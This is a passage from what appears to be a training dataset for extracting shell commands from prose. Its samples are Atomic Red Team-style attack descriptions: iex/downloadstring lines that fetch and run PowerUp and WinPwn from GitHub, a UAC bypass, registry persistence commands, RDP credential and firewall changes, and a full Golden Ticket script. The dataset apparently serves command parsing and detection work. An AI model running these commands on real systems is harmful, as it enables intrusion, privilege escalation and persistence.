https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n To simulate an adversary's attempt to tamper with the system's boot process, modify the BootExecute registry value using the following command: if (!(Test-Path \"$PathToAtomicsFolder\\T1547.001\\src\\SessionManagerBackup.reg\")) { reg.exe export \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\" \"$PathToAtomicsFolder\\T1547.001\\src\\SessionManagerBackup.reg\" /y }\nSet-ItemProperty -Path \"HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\" -Name \"BootExecute\" -Value \"#{registry_value}\" -Type MultiString; Windows searches for the registry key HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\Wds\\rdpwd during RDP logins, where 'rdpclip' is the default value. An attacker can change this to run a malicious application via the command: reg add \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\Wds\\rdpwd\" /f /v StartupPrograms /t REG_SZ /d \"#{malicious_app}\"", "output": "{\"command_list\": [\"if (!(Test-Path \\\"$PathToAtomicsFolder\\\\T1547.001\\\\src\\\\SessionManagerBackup.reg\\\")) { reg.exe export \\\"HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\Session Manager\\\" \\\"$PathToAtomicsFolder\\\\T1547.001\\\\src\\\\SessionManagerBackup.reg\\\" /y }\\nSet-ItemProperty -Path \\\"HKLM:\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\Session Manager\\\" -Name \\\"BootExecute\\\" -Value \\\"#{registry_value}\\\" -Type MultiString\\n\", \"reg add \\\"HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\Terminal Server\\\\Wds\\\\rdpwd\\\" /f /v StartupPrograms /t REG_SZ /d \\\"#{malicious_app}\\\"\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n For implementing the User Account Control Bypass via DLL Hijack targeting \\system32\\pkgmgr.exe, execute the command: \"#{uacme_exe}\". Upon success, you'll observe event viewer loading and two administrative command prompts.; Using WinPwn's functionality, you can bypass UAC via the Magic technique by running: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\nUACBypass -noninteractive -command \"C:\\windows\\system32\\cmd.exe\" -technique magic", "output": "{\"command_list\": [\"\\\"#{uacme_exe}\\\"\\n\", \"iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\\nUACBypass -noninteractive -command \\\"C:\\\\windows\\\\system32\\\\cmd.exe\\\" -technique magic\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n For scanning MS-RPRN RPC services, run the spoolvulnscan function via this WinPwn command:\niex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\nspoolvulnscan -noninteractive -consoleoutput; For detecting Windows Servers vulnerable to MS17-10 across the domain, utilize WinPwn's powerSQL feature with this command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\nMS17-10 -noninteractive -consoleoutput", "output": "{\"command_list\": [\"iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\\nspoolvulnscan -noninteractive -consoleoutput\", \"iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\\nMS17-10 -noninteractive -consoleoutput\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n The following steps will attempt an RDP session to a DomainController via the command: $Server=#{logonserver}\n$User = Join-Path #{domain} #{username}\n$Password=\"#{password}\"\ncmdkey /generic:TERMSRV/$Server /user:$User /pass:$Password\nmstsc /v:$Server\necho \"RDP connection established\"\n; To change the RDP port to a non-standard value, use the following PowerShell commands: Set-ItemProperty -Path 'HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp' -name \"PortNumber\" -Value #{NEW_Remote_Port}\nNew-NetFirewallRule -DisplayName 'RDPPORTLatest-TCP-In' -Profile 'Public' -Direction Inbound -Action Allow -Protocol TCP -LocalPort #{NEW_Remote_Port}", "output": "{\"command_list\": [\"$Server=#{logonserver}\\n$User = Join-Path #{domain} #{username}\\n$Password=\\\"#{password}\\\"\\ncmdkey /generic:TERMSRV/$Server /user:$User /pass:$Password\\nmstsc /v:$Server\\necho \\\"RDP connection established\\\"\\n\", \"Set-ItemProperty -Path 'HKLM:\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\Terminal Server\\\\WinStations\\\\RDP-Tcp' -name \\\"PortNumber\\\" -Value #{NEW_Remote_Port}\\nNew-NetFirewallRule -DisplayName 'RDPPORTLatest-TCP-In' -Profile 'Public' -Direction Inbound -Action Allow -Protocol TCP -LocalPort #{NEW_Remote_Port}\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n To craft a Golden Ticket with the krbtgt hash and test it without affecting your current session, implement the following procedure using this command sequence: Remove-Item $env:TEMP\\golden.bat -ErrorAction Ignore\nRemove-Item $env:TEMP\\golden.txt -ErrorAction Ignore\n\ncmd.exe /c \"#{local_folder}\\#{local_executable}\" golden /aes256:#{krbtgt_aes256_key} /ldap /user:#{account} /dc:$(#{domaincontroller}) /printcmd /outfile:golden\n$filename = (Get-ChildItem | ? {$_.Name.startswith(\"golden_\")} | Sort-Object -Descending -Property LastWriteTime | select -First 1).Name\n\n# create batch file with commands to run in a separate \"runas /netonly\" session\n# so we don't purge Kerberos ticket from the current Windows session\n# its output goes to golden.txt temp file, because we cannot capture \"runas /netonly\" output otherwise\n@\">%TEMP%\\golden.txt 2>&1 (\n echo Purge existing tickets and create golden ticket:\n klist purge\n cd %temp%\n \"#{local_folder}\\#{local_executable}\" ptt /ticket:kirbifile\n\n echo.\n echo Requesting SYSVOL:\n dir \\\\$(#{domaincontroller})\\SYSVOL\n \n echo.\n echo Tickets after requesting SYSVOL:\n klist\n\n echo.\n echo End of Golden Ticket attack\n)\n\"@ -Replace \"kirbifile\", $filename | Out-File -Encoding OEM $env:TEMP\\golden.bat\n\n# run batch file in a new empty session (password and username do not matter)\necho \"foo\" | runas /netonly /user:fake \"$env:TEMP\\golden.bat\" | Out-Null\n\n# wait until the output file has logged the entire attack\ndo {\n Start-Sleep 1 # wait a bit so the output file has time to be created\n Get-Content -Path \"$env:TEMP\\golden.txt\" -Wait | ForEach-Object {\n if ($_ -match 'End of Golden Ticket attack') { break } \n }\n} while ($false) # dummy loop so that 'break' can be used\n\n# show output from new empty session\nGet-Content $env:TEMP\\golden.txt\n\n# cleanup temp files\nRemove-Item $env:TEMP\\golden.bat -ErrorAction Ignore\nRemove-Item $env:TEMP\\golden.txt -ErrorAction Ignore; To identify system information including disk details, run the following commands: systeminfo\nreg query HKLM\\SYSTEM\\CurrentControlSet\\Services\\Disk\\Enum", "output": "{\"command_list\": [\"Remove-Item $env:TEMP\\\\golden.bat -ErrorAction Ignore\\nRemove-Item $env:TEMP\\\\golden.txt -ErrorAction Ignore\\n\\ncmd.exe /c \\\"#{local_folder}\\\\#{local_executable}\\\" golden /aes256:#{krbtgt_aes256_key} /ldap /user:#{account} /dc:$(#{domaincontroller}) /printcmd /outfile:golden\\n$filename = (Get-ChildItem | ? {$_.Name.startswith(\\\"golden_\\\")} | Sort-Object -Descending -Property LastWriteTime | select -First 1).Name\\n\\n# create batch file with commands to run in a separate \\\"runas /netonly\\\" session\\n# so we don't purge Kerberos ticket from the current Windows session\\n# its output goes to golden.txt temp file, because we cannot capture \\\"runas /netonly\\\" output otherwise\\n@\\\"\\n>%TEMP%\\\\golden.txt 2>&1 (\\n echo Purge existing tickets and create golden ticket:\\n klist purge\\n cd %temp%\\n \\\"#{local_folder}\\\\#{local_executable}\\\" ptt /ticket:kirbifile\\n\\n echo.\\n echo Requesting SYSVOL:\\n dir \\\\\\\\$(#{domaincontroller})\\\\SYSVOL\\n \\n echo.\\n echo Tickets after requesting SYSVOL:\\n klist\\n\\n echo.\\n echo End of Golden Ticket attack\\n)\\n\\\"@ -Replace \\\"kirbifile\\\", $filename | Out-File -Encoding OEM $env:TEMP\\\\golden.bat\\n\\n# run batch file in a new empty session (password and username do not matter)\\necho \\\"foo\\\" | runas /netonly /user:fake \\\"$env:TEMP\\\\golden.bat\\\" | Out-Null\\n\\n# wait until the output file has logged the entire attack\\ndo {\\n Start-Sleep 1 # wait a bit so the output file has time to be created\\n Get-Content -Path \\\"$env:TEMP\\\\golden.txt\\\" -Wait | ForEach-Object {\\n if ($_ -match 'End of Golden Ticket attack') { break } \\n }\\n} while ($false) # dummy loop so that 'break' can be used\\n\\n# show output from new empty session\\nGet-Content $env:TEMP\\\\golden.txt\\n\\n# cleanup temp files\\nRemove-Item $env:TEMP\\\\golden.bat -ErrorAction Ignore\\nRemove-Item $env:TEMP\\\\golden.txt -ErrorAction Ignore\\n\", \"systeminfo\\nreg query HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\Disk\\\\Enum\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n To execute a custom application during an RDP login instead of the default 'rdpclip', an administrator can alter the registry value with this command: reg add \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\Wds\\rdpwd\" /f /v StartupPrograms /t REG_SZ /d \"#{malicious_app}\"; Microsoft permits users to specify a custom boot verification program by creating a registry key, which can be exploited by threat actors using the following command: reg add HKLM\\System\\CurrentControlSet\\Control\\BootVerificationProgram /v ImagePath /t REG_SZ /d \"#{malicious_file}\"", "output": "{\"command_list\": [\"reg add \\\"HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\Terminal Server\\\\Wds\\\\rdpwd\\\" /f /v StartupPrograms /t REG_SZ /d \\\"#{malicious_app}\\\"\\n\", \"reg add HKLM\\\\System\\\\CurrentControlSet\\\\Control\\\\BootVerificationProgram /v ImagePath /t REG_SZ /d \\\"#{malicious_file}\\\"\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The 